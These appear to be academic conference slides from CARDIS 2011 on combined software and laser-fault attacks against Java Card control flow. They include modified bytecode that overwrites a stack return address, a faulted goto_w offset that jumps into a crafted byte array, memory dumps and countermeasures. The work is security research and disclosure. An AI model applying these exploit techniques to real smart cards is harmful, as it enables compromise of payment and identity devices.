Combined Software and Hardware Attacks on the Java Card Control Flow - - PowerPoint PPT Presentation

combined software and hardware attacks on the java card
SMART_READER_LITE
LIVE PREVIEW

Combined Software and Hardware Attacks on the Java Card Control Flow - - PowerPoint PPT Presentation

Introduction EMAN 2 EMAN 4 Conclusion Combined Software and Hardware Attacks on the Java Card Control Flow Guillaume Bouffard Julien Iguchi-Cartigny Jean-Louis Lanet Smart Secure Devices (SSD) Team Xlim Universit e de Limoges


slide-1
SLIDE 1

Introduction EMAN 2 EMAN 4 Conclusion

Combined Software and Hardware Attacks on the Java Card Control Flow

Guillaume Bouffard Julien Iguchi-Cartigny Jean-Louis Lanet

Smart Secure Devices (SSD) Team – Xlim – Universit´ e de Limoges guillaume.bouffard@xlim.fr http://secinfo.msi.unilim.fr

CARDIS 2011

i nsti tut de recherche

Guillaume Bouffard (SSD – Xlim) Combined Attacks on the Java Card Control Flow CARDIS 2011 1 / 24

slide-2
SLIDE 2

Introduction EMAN 2 EMAN 4 Conclusion

Outline

1

Introduction

2

EMAN 2: A Stack Underflow in the Java Card

3

EMAN 4: Modifying the Execution Flow with a Laser Beam

4

Conclusion

Guillaume Bouffard (SSD – Xlim) Combined Attacks on the Java Card Control Flow CARDIS 2011 2 / 24

slide-3
SLIDE 3

Introduction EMAN 2 EMAN 4 Conclusion

1

Introduction Java Card Security Model Everything must begin A quick overview about EMAN 1

2

EMAN 2: A Stack Underflow in the Java Card

3

EMAN 4: Modifying the Execution Flow with a Laser Beam

4

Conclusion

Guillaume Bouffard (SSD – Xlim) Combined Attacks on the Java Card Control Flow CARDIS 2011 3 / 24

slide-4
SLIDE 4

Introduction EMAN 2 EMAN 4 Conclusion Java Card Security Model

Java Card Security Model

Off-card Security

Java Class Files Java Card Files Byte Code Verifier Byte Code Converter Byte Code Signer

On-card Security

Java Card Files Byte Code Verifier Installed applet Firewall

Guillaume Bouffard (SSD – Xlim) Combined Attacks on the Java Card Control Flow CARDIS 2011 4 / 24

slide-5
SLIDE 5

Introduction EMAN 2 EMAN 4 Conclusion Everything must begin

Why?

Our motivations

Understand the implemented Java Card security mechanisms Improve these implementations Design the associated counter-measures

Tools developed by the team

OPAL to communicate with the smart cards The CapFileManipulator in order to modify CAP Files

Guillaume Bouffard (SSD – Xlim) Combined Attacks on the Java Card Control Flow CARDIS 2011 5 / 24

slide-6
SLIDE 6

Introduction EMAN 2 EMAN 4 Conclusion A quick overview about EMAN 1

EMAN1?

Design by ´ Emilie Faugeron and Anthony Dessiatnikoff, former Cryptis Master degree students (2008–2009)

Hypothesis

Smart card loading keys are known The card has not Byte Code Verifier (BCV) The firewall does not check the call of putstatic, getstatic and invokestatic

Yes, we can!

Generate mutant code Dump the EEPROM & RAM memories Modify other installed applets ;) Published at SSTIC 2008

Guillaume Bouffard (SSD – Xlim) Combined Attacks on the Java Card Control Flow CARDIS 2011 6 / 24

slide-7
SLIDE 7

Introduction EMAN 2 EMAN 4 Conclusion

1

Introduction

2

EMAN 2: A Stack Underflow in the Java Card The Aim of this attack Obtain address array The Java Card Stack Let’s modify the stack Counter-measures

3

EMAN 4: Modifying the Execution Flow with a Laser Beam

4

Conclusion

Guillaume Bouffard (SSD – Xlim) Combined Attacks on the Java Card Control Flow CARDIS 2011 7 / 24

slide-8
SLIDE 8

Introduction EMAN 2 EMAN 4 Conclusion The Aim of this attack

The Attack idea I

Attack idea

Locate the return address of the current function Modify this address . . . . . . to execute our malicious byte code

Guillaume Bouffard (SSD – Xlim) Combined Attacks on the Java Card Control Flow CARDIS 2011 8 / 24

slide-9
SLIDE 9

Introduction EMAN 2 EMAN 4 Conclusion The Aim of this attack

The Attack idea II

Hypothesis

There is no BCV The loading keys are known

Requirements list

1 Find the array address (EMAN 1) 2 Discover where is located the return address in the stack 3 Change this value in the stack Guillaume Bouffard (SSD – Xlim) Combined Attacks on the Java Card Control Flow CARDIS 2011 9 / 24

slide-10
SLIDE 10

Introduction EMAN 2 EMAN 4 Conclusion Obtain address array

Find the array address

p u b l i c short getMyAddressTabByte ( byte [ ] tab ) { short foo=(byte ) 0xAA ; tab [0]=( byte ) 0xFF ; return foo ; } getMyAddressTabByte ( byte [ ] tab ) { 03 // f l a g s : max stack : 3 21 // nargs : 2 m a x l o c a l s : 1 10 AA bspush 0xAA 31 s s t o r e 2 19 alo ad 1 03 sconst 0 02 sconst m1 39 s a s t o r e 1E s l oa d 2 78 s r e t u r n }

⇒ Return value: ??

... TOS L2: foo @tab L1 this L0

Guillaume Bouffard (SSD – Xlim) Combined Attacks on the Java Card Control Flow CARDIS 2011 10 / 24

slide-11
SLIDE 11

Introduction EMAN 2 EMAN 4 Conclusion Obtain address array

Find the array address

p u b l i c short getMyAddressTabByte ( byte [ ] tab ) { short foo=(byte ) 0xAA ;

tab [0]=( byte ) 0xFF ; return foo ; } getMyAddressTabByte ( byte [ ] tab ) { 03 // f l a g s : max stack : 3 21 // nargs : 2 m a x l o c a l s : 1 10 AA bspush 0xAA 31 s s t o r e 2

19 alo ad 1 03 sconst 0 02 sconst m1 39 s a s t o r e 1E s l oa d 2 78 s r e t u r n }

⇒ Return value: ??

... TOS AA L2: foo @tab L1 this L0

Guillaume Bouffard (SSD – Xlim) Combined Attacks on the Java Card Control Flow CARDIS 2011 10 / 24

slide-12
SLIDE 12

Introduction EMAN 2 EMAN 4 Conclusion Obtain address array

Find the array address

p u b l i c short getMyAddressTabByte ( byte [ ] tab ) { short foo=(byte ) 0xAA ; tab [0]=( byte ) 0xFF ;

return foo ; } getMyAddressTabByte ( byte [ ] tab ) { 03 // f l a g s : max stack : 3 21 // nargs : 2 m a x l o c a l s : 1 10 AA bspush 0xAA 31 s s t o r e 2 19 alo ad 1

03 sconst 0 02 sconst m1 39 s a s t o r e 1E s l oa d 2 78 s r e t u r n }

⇒ Return value: ??

... TOS AA L2: foo @tab L1 this L0

Guillaume Bouffard (SSD – Xlim) Combined Attacks on the Java Card Control Flow CARDIS 2011 10 / 24

slide-13
SLIDE 13

Introduction EMAN 2 EMAN 4 Conclusion Obtain address array

Find the array address

p u b l i c short getMyAddressTabByte ( byte [ ] tab ) { short foo=(byte ) 0xAA ; tab [0]=( byte ) 0xFF ;

return foo ; } getMyAddressTabByte ( byte [ ] tab ) { 03 // f l a g s : max stack : 3 21 // nargs : 2 m a x l o c a l s : 1 10 AA bspush 0xAA 31 s s t o r e 2 19 alo ad 1 03 sconst 0 02 sconst m1 39 s a s t o r e

1E s l oa d 2 78 s r e t u r n }

⇒ Return value: ??

... TOS FF 00 @tab AA L2: foo @tab L1 this L0

Guillaume Bouffard (SSD – Xlim) Combined Attacks on the Java Card Control Flow CARDIS 2011 10 / 24

slide-14
SLIDE 14

Introduction EMAN 2 EMAN 4 Conclusion Obtain address array

Find the array address

p u b l i c short getMyAddressTabByte ( byte [ ] tab ) { short foo=(byte ) 0xAA ; tab [0]=( byte ) 0xFF ; return foo ; } ⇐ getMyAddressTabByte ( byte [ ] tab ) { 03 // f l a g s : max stack : 3 21 // nargs : 2 m a x l o c a l s : 1 10 AA bspush 0xAA 31 s s t o r e 2 19 alo ad 1 03 sconst 0 02 sconst m1 39 s a s t o r e 1E s l oa d 2 78 s r e t u r n } ⇐

⇒ Return value: AA

... TOS AA AA L2: foo @tab L1 this L0

Guillaume Bouffard (SSD – Xlim) Combined Attacks on the Java Card Control Flow CARDIS 2011 10 / 24

slide-15
SLIDE 15

Introduction EMAN 2 EMAN 4 Conclusion Obtain address array

Find the array address

p u b l i c short getMyAddressTabByte ( byte [ ] tab ) { short foo=(byte ) 0xAA ; tab [0]=( byte ) 0xFF ; return foo ; } getMyAddressTabByte ( byte [ ] tab ) { 03 // f l a g s : max stack : 3 21 // nargs : 2 m a x l o c a l s : 1 10 AA bspush 0xAA 31 s s t o r e 2 19 alo ad 1 00 nop 00 nop 00 nop 00 nop 78 s r e t u r n }

⇒ Return value: ??

... TOS L2: foo @tab L1 this L0

Guillaume Bouffard (SSD – Xlim) Combined Attacks on the Java Card Control Flow CARDIS 2011 10 / 24

slide-16
SLIDE 16

Introduction EMAN 2 EMAN 4 Conclusion Obtain address array

Find the array address

p u b l i c short getMyAddressTabByte ( byte [ ] tab ) { short foo=(byte ) 0xAA ;

tab [0]=( byte ) 0xFF ; return foo ; } getMyAddressTabByte ( byte [ ] tab ) { 03 // f l a g s : max stack : 3 21 // nargs : 2 m a x l o c a l s : 1 10 AA bspush 0xAA 31 s s t o r e 2

19 alo ad 1 00 nop 00 nop 00 nop 00 nop 78 s r e t u r n }

⇒ Return value: ??

... TOS AA L2: foo @tab L1 this L0

Guillaume Bouffard (SSD – Xlim) Combined Attacks on the Java Card Control Flow CARDIS 2011 10 / 24

slide-17
SLIDE 17

Introduction EMAN 2 EMAN 4 Conclusion Obtain address array

Find the array address

p u b l i c short getMyAddressTabByte ( byte [ ] tab ) { short foo=(byte ) 0xAA ; tab [0]=( byte ) 0xFF ;

return foo ; } getMyAddressTabByte ( byte [ ] tab ) { 03 // f l a g s : max stack : 3 21 // nargs : 2 m a x l o c a l s : 1 10 AA bspush 0xAA 31 s s t o r e 2 19 alo ad 1

00 nop 00 nop 00 nop 00 nop 78 s r e t u r n }

⇒ Return value: ??

... TOS @tab AA L2: foo @tab L1 this L0

Guillaume Bouffard (SSD – Xlim) Combined Attacks on the Java Card Control Flow CARDIS 2011 10 / 24

slide-18
SLIDE 18

Introduction EMAN 2 EMAN 4 Conclusion Obtain address array

Find the array address

p u b l i c short getMyAddressTabByte ( byte [ ] tab ) { short foo=(byte ) 0xAA ; tab [0]=( byte ) 0xFF ; return foo ; } ⇐ getMyAddressTabByte ( byte [ ] tab ) { 03 // f l a g s : max stack : 3 21 // nargs : 2 m a x l o c a l s : 1 10 AA bspush 0xAA 31 s s t o r e 2 19 alo ad 1 00 nop 00 nop 00 nop 00 nop 78 s r e t u r n } ⇐

⇒ Return value: @tab

... TOS @tab AA L2: foo @tab L1 this L0

Guillaume Bouffard (SSD – Xlim) Combined Attacks on the Java Card Control Flow CARDIS 2011 10 / 24

slide-19
SLIDE 19

Introduction EMAN 2 EMAN 4 Conclusion The Java Card Stack

Characterize the Stack

... Operand Stack Local variables

Guillaume Bouffard (SSD – Xlim) Combined Attacks on the Java Card Control Flow CARDIS 2011 11 / 24

slide-20
SLIDE 20

Introduction EMAN 2 EMAN 4 Conclusion The Java Card Stack

Characterize the Stack

... Operand Stack Frame header Local variables

Guillaume Bouffard (SSD – Xlim) Combined Attacks on the Java Card Control Flow CARDIS 2011 11 / 24

slide-21
SLIDE 21

Introduction EMAN 2 EMAN 4 Conclusion The Java Card Stack

Characterize the Stack

... Operand Stack Return Address Undefined use value Local variables

Guillaume Bouffard (SSD – Xlim) Combined Attacks on the Java Card Control Flow CARDIS 2011 11 / 24

slide-22
SLIDE 22

Introduction EMAN 2 EMAN 4 Conclusion The Java Card Stack

Characterize the Stack

... Pushed values L8 Return Address L7 Undefined use value L6 6 Locals L0

p u b l i c void ModifyStack ( byte [ ] apduBuffer , APDU apdu , short a ) { short i =( short ) 0xCAFE ; short j =( short ) ( getMyAddressTabByte (MALICIOUS ARRAY)+6) ; i = j ; }

Guillaume Bouffard (SSD – Xlim) Combined Attacks on the Java Card Control Flow CARDIS 2011 11 / 24

slide-23
SLIDE 23

Introduction EMAN 2 EMAN 4 Conclusion Let’s modify the stack

A ghost in the stack

p u b l i c void ModifyStack ( byte [ ] apduBuffer , APDU apdu , short a ) { short i =( short ) 0xCAFE ; short j =( short ) ( getMyAddressTabByte (MALICIOUS ARRAY)+6) ; i = j ; }

invokevirtual @ModifyStack ModifyStack Method Any unchecked byte code

Guillaume Bouffard (SSD – Xlim) Combined Attacks on the Java Card Control Flow CARDIS 2011 12 / 24

slide-24
SLIDE 24

Introduction EMAN 2 EMAN 4 Conclusion Let’s modify the stack

A ghost in the stack

p u b l i c void ModifyStack ( byte [ ] apduBuffer , APDU apdu , short a ) { 02 // f l a g s : max stack : 2 42 // nargs : 4 m a x l o c a l s : 2 11 CA FE sspush 0xCAFE 29 04 s s t o r e 4 18 aloa d 0 7B 00 g e t s t a t i c a 8B 01 i n v o k e v i r t u a l 1 10 06 bspush 6 41 sadd 29 05 s s t o r e 5 16 05 sload 5 29 04 s s t o r e 4 7A return }

invokevirtual @ModifyStack ModifyStack Method Any unchecked byte code

Guillaume Bouffard (SSD – Xlim) Combined Attacks on the Java Card Control Flow CARDIS 2011 12 / 24

slide-25
SLIDE 25

Introduction EMAN 2 EMAN 4 Conclusion Let’s modify the stack

A ghost in the stack

p u b l i c void ModifyStack ( byte [ ] apduBuffer , APDU apdu , short a ) { 02 // f l a g s : max stack : 2 42 // nargs : 4 m a x l o c a l s : 2 11 CA FE sspush 0xCAFE 29 04 s s t o r e 4 18 aloa d 0 7B 00 g e t s t a t i c a 8B 01 i n v o k e v i r t u a l 1 10 06 bspush 6 41 sadd 29 05 s s t o r e 5 16 05 sload 5 29 07 s s t o r e 7 7A return }

invokevirtual @ModifyStack ModifyStack Method Any unchecked byte code

We change the Return Address of the current function!

Guillaume Bouffard (SSD – Xlim) Combined Attacks on the Java Card Control Flow CARDIS 2011 12 / 24

slide-26
SLIDE 26

Introduction EMAN 2 EMAN 4 Conclusion Counter-measures

Counter-measures

Check the number of locals The linked-frame

The linked-frame

The memory area is non-contiguous The top of stack should be copied Applet Frame Method Frame 1 Method Frame 2

Guillaume Bouffard (SSD – Xlim) Combined Attacks on the Java Card Control Flow CARDIS 2011 13 / 24

slide-27
SLIDE 27

Introduction EMAN 2 EMAN 4 Conclusion

1

Introduction

2

EMAN 2: A Stack Underflow in the Java Card

3

EMAN 4: Modifying the Execution Flow with a Laser Beam Description The Loop For The Smart Card Memory Attack the card, ship boy!

4

Conclusion

Guillaume Bouffard (SSD – Xlim) Combined Attacks on the Java Card Control Flow CARDIS 2011 14 / 24

slide-28
SLIDE 28

Introduction EMAN 2 EMAN 4 Conclusion Description

Once Upon a Time . . .

Hypothesis

The card has a BCV We can install an applet We may dump the smart card memory

Modus operandi

1 Understand how the loop for works 2 Characterize the smart card memory management 3 Modify the loop for to change the execution flow graph Guillaume Bouffard (SSD – Xlim) Combined Attacks on the Java Card Control Flow CARDIS 2011 15 / 24

slide-29
SLIDE 29

Introduction EMAN 2 EMAN 4 Conclusion The Loop For

The loop for or how to stop the Sisyphus’ punishment?

f o r ( short i =0 ; i <n ; ++i ) { foo = ( byte ) 0xBA ; bar = foo ; foo = bar ; bar = foo ; foo = bar ; bar = foo ; foo = bar ; bar = foo ; foo = bar ; bar = foo ; foo = bar ; bar = foo ; foo = bar ; bar = foo ; foo = bar ; bar = foo ; foo = bar ; bar = foo ; foo = bar ; // Few i n s t r u c t i o n s have // been hidden f o r a // b e t t e r meaning . bar = foo ; foo = bar ; bar = foo ; foo = bar ; bar = foo ; foo = bar ; bar = foo ; foo = bar ; }

Guillaume Bouffard (SSD – Xlim) Combined Attacks on the Java Card Control Flow CARDIS 2011 16 / 24

slide-30
SLIDE 30

Introduction EMAN 2 EMAN 4 Conclusion The Loop For

The loop for or how to stop the Sisyphus’ punishment?

0x00 : s c o n s t 0 0x01 : s s t o r e 1 0x02 : s l o a d 1 0x03 : s c o n s t 1 0x04 : if scmpge w 00 7C 0x07 : alo ad 0 0x08 : bspush BA 0x0A : p u t f i e l d b 0x0C : a load 0 0x0D : g e t f i e l d b t h i s 0x0F : p u t f i e l d b 1 // Few i n s t r u c t i o n s have // been hidden f o r a // b e t t e r meaning . 0xE3 : alo ad 0 0xE4 : g e t f i e l d b t h i s 1 0xE6 : p u t f i e l d b 0xE8 : s i n c 1 1 0xEB : goto w FF17

Reloop instructions

goto (±127 bytes) goto w (±32767 bytes)

Guillaume Bouffard (SSD – Xlim) Combined Attacks on the Java Card Control Flow CARDIS 2011 16 / 24

slide-31
SLIDE 31

Introduction EMAN 2 EMAN 4 Conclusion The Loop For

The loop for or how to stop the Sisyphus’ punishment?

0x00 : s c o n s t 0 0x01 : s s t o r e 1 0x02 : s l o a d 1 0x03 : s c o n s t 1 0x04 : if scmpge w 00 7C 0x07 : alo ad 0 0x08 : bspush BA 0x0A : p u t f i e l d b 0x0C : a load 0 0x0D : g e t f i e l d b t h i s 0x0F : p u t f i e l d b 1 // Few i n s t r u c t i o n s have // been hidden f o r a // b e t t e r meaning . 0xE3 : alo ad 0 0xE4 : g e t f i e l d b t h i s 1 0xE6 : p u t f i e l d b 0xE8 : s i n c 1 1 0xEB : goto w FF17

Reloop instructions

goto (±127 bytes) goto w (±32767 bytes)

Correct running

233 bytes backward jump.

Guillaume Bouffard (SSD – Xlim) Combined Attacks on the Java Card Control Flow CARDIS 2011 16 / 24

slide-32
SLIDE 32

Introduction EMAN 2 EMAN 4 Conclusion The Loop For

The loop for or how to stop the Sisyphus’ punishment?

0x00 : s c o n s t 0 0x01 : s s t o r e 1 0x02 : s l o a d 1 0x03 : s c o n s t 1 0x04 : if scmpge w 00 7C 0x07 : alo ad 0 0x08 : bspush BA 0x0A : p u t f i e l d b 0x0C : a load 0 0x0D : g e t f i e l d b t h i s 0x0F : p u t f i e l d b 1 // Few i n s t r u c t i o n s have // been hidden f o r a // b e t t e r meaning . 0xE3 : alo ad 0 0xE4 : g e t f i e l d b t h i s 1 0xE6 : p u t f i e l d b 0xE8 : s i n c 1 1 0xEB : goto w 0017

Reloop instructions

goto (±127 bytes) goto w (±32767 bytes)

Correct running

233 bytes backward jump.

Faulty running

23 bytes forward jump.

Guillaume Bouffard (SSD – Xlim) Combined Attacks on the Java Card Control Flow CARDIS 2011 16 / 24

slide-33
SLIDE 33

Introduction EMAN 2 EMAN 4 Conclusion The Loop For

Where I want to jump?

ISOException . t h r o w I t ( ( short ) 0x1712 ) ;

Guillaume Bouffard (SSD – Xlim) Combined Attacks on the Java Card Control Flow CARDIS 2011 17 / 24

slide-34
SLIDE 34

Introduction EMAN 2 EMAN 4 Conclusion The Loop For

Where I want to jump?

11 1712 sspush 1712 8D 6C00 i n v o k e s t a t i c 6C00

ARRAY HEADER

Guillaume Bouffard (SSD – Xlim) Combined Attacks on the Java Card Control Flow CARDIS 2011 17 / 24

slide-35
SLIDE 35

Introduction EMAN 2 EMAN 4 Conclusion The Loop For

Where I want to jump?

11 1712 sspush 1712 8D 6F00 i n v o k e s t a t i c 6F00

ARRAY HEADER ABCD EF00 11 1712 8D 6FC0 00FE DCBA

Guillaume Bouffard (SSD – Xlim) Combined Attacks on the Java Card Control Flow CARDIS 2011 17 / 24

slide-36
SLIDE 36

Introduction EMAN 2 EMAN 4 Conclusion The Loop For

Where I want to jump?

11 1712 sspush 1712 8D 6F00 i n v o k e s t a t i c 6F00

ARRAY HEADER ABCD EF00 0000 0000 0000 00 0000 0000 0000 . . . 0000 0000 00 0000 0000 0000 0011 1712 8D 6FC0 00FE DCBA

Guillaume Bouffard (SSD – Xlim) Combined Attacks on the Java Card Control Flow CARDIS 2011 17 / 24

slide-37
SLIDE 37

Introduction EMAN 2 EMAN 4 Conclusion The Smart Card Memory

Where I jump?

Let’s find the memory management algorithm

1 chosen applets are installed on the card 2 a careful dump of the EEPROM memory is done between

each installation,

3 the card is stressed (installing/deleting different applets size)

And the winner is. . .

We found the target card uses the best fit algorithm

Guillaume Bouffard (SSD – Xlim) Combined Attacks on the Java Card Control Flow CARDIS 2011 18 / 24

slide-38
SLIDE 38

Introduction EMAN 2 EMAN 4 Conclusion Attack the card, ship boy!

Now, play with the card!

0x0A7F0: 18AE01 880018 AE00 8801 18AE 0188 0018 0x0A800: AE0088 0118AE 0188 0018 AE00 8801 18AE 0x0A810: 018800 590101 A8FF 177A 008A 43C0 6C88 0x0A820: ABCDEF 000000 0000 0000 0000 0000 0000 0x0A830: 000000 000000 0000 0000 0000 0000 0000 0x0A840: 000000 000000 0000 0000 0000 0000 0000 0x0A850: 000000 000000 0000 0000 0000 0000 0000 0x0A860: 000000 000000 0000 0000 0000 0000 0000 0x0A870: 000000 000000 0000 0000 0000 0000 0000 0x0A880: 000000 000000 0000 0000 0000 0000 0000 0x0A890: 000000 000000 0000 0000 0000 0000 0000 0x0A8A0: 111712 8D6FC0 00FE DCBA

Guillaume Bouffard (SSD – Xlim) Combined Attacks on the Java Card Control Flow CARDIS 2011 19 / 24

slide-39
SLIDE 39

Introduction EMAN 2 EMAN 4 Conclusion Attack the card, ship boy!

Now, play with the card!

0x0A7F0: 18AE01 880018 AE00 8801 18AE 0188 0018 0x0A800: AE0088 0118AE 0188 0018 AE00 8801 18AE 0x0A810: 018800 590101 A8FF 177A 008A 43C0 6C88 0x0A820: ABCDEF 000000 0000 0000 0000 0000 0000 0x0A830: 000000 000000 0000 0000 0000 0000 0000 0x0A840: 000000 000000 0000 0000 0000 0000 0000 0x0A850: 000000 000000 0000 0000 0000 0000 0000 0x0A860: 000000 000000 0000 0000 0000 0000 0000 0x0A870: 000000 000000 0000 0000 0000 0000 0000 0x0A880: 000000 000000 0000 0000 0000 0000 0000 0x0A890: 000000 000000 0000 0000 0000 0000 0000 0x0A8A0: 111712 8D6FC0 00FE DCBA

Guillaume Bouffard (SSD – Xlim) Combined Attacks on the Java Card Control Flow CARDIS 2011 19 / 24

slide-40
SLIDE 40

Introduction EMAN 2 EMAN 4 Conclusion Attack the card, ship boy!

Now, play with the card!

0x0A7F0: 18AE01 880018 AE00 8801 18AE 0188 0018 0x0A800: AE0088 0118AE 0188 0018 AE00 8801 18AE 0x0A810: 018800 590101 A800 177A 008A 43C0 6C88 0x0A820: ABCDEF 000000 0000 0000 0000 0000 0000 0x0A830: 000000 000000 0000 0000 0000 0000 0000 0x0A840: 000000 000000 0000 0000 0000 0000 0000 0x0A850: 000000 000000 0000 0000 0000 0000 0000 0x0A860: 000000 000000 0000 0000 0000 0000 0000 0x0A870: 000000 000000 0000 0000 0000 0000 0000 0x0A880: 000000 000000 0000 0000 0000 0000 0000 0x0A890: 000000 000000 0000 0000 0000 0000 0000 0x0A8A0: 111712 8D6FC0 00FE DCBA

Guillaume Bouffard (SSD – Xlim) Combined Attacks on the Java Card Control Flow CARDIS 2011 19 / 24

slide-41
SLIDE 41

Introduction EMAN 2 EMAN 4 Conclusion

1

Introduction

2

EMAN 2: A Stack Underflow in the Java Card

3

EMAN 4: Modifying the Execution Flow with a Laser Beam

4

Conclusion

Guillaume Bouffard (SSD – Xlim) Combined Attacks on the Java Card Control Flow CARDIS 2011 20 / 24

slide-42
SLIDE 42

Introduction EMAN 2 EMAN 4 Conclusion

To Conclude. . .

EMAN 2

We can change the control flow graph . . . . . . thought the modification of the stack header. . . . . . without on-card BCV

EMAN 4

We can change the control flow graph . . . . . . thought an external modification. . . . . . with on-card BCV

Guillaume Bouffard (SSD – Xlim) Combined Attacks on the Java Card Control Flow CARDIS 2011 21 / 24

slide-43
SLIDE 43

Introduction EMAN 2 EMAN 4 Conclusion

So!

We discovered

The BCV component can be bypassed The malicious byte code may be offensive The card must have a hardware or software control flow graph

Guillaume Bouffard (SSD – Xlim) Combined Attacks on the Java Card Control Flow CARDIS 2011 22 / 24

slide-44
SLIDE 44

Introduction EMAN 2 EMAN 4 Conclusion

Future Works

My PhD

Discover the possibilities and the issues of the laser beam Vs Java Card Operating System or Virtual Machine Design a low-cost laser for fault attack

Guillaume Bouffard (SSD – Xlim) Combined Attacks on the Java Card Control Flow CARDIS 2011 23 / 24

slide-45
SLIDE 45

Introduction EMAN 2 EMAN 4 Conclusion

Thank you for your attention! Have you any questions?

?

guillaume.bouffard@xlim.fr http://secinfo.msi.unilim.fr

Guillaume Bouffard (SSD – Xlim) Combined Attacks on the Java Card Control Flow CARDIS 2011 24 / 24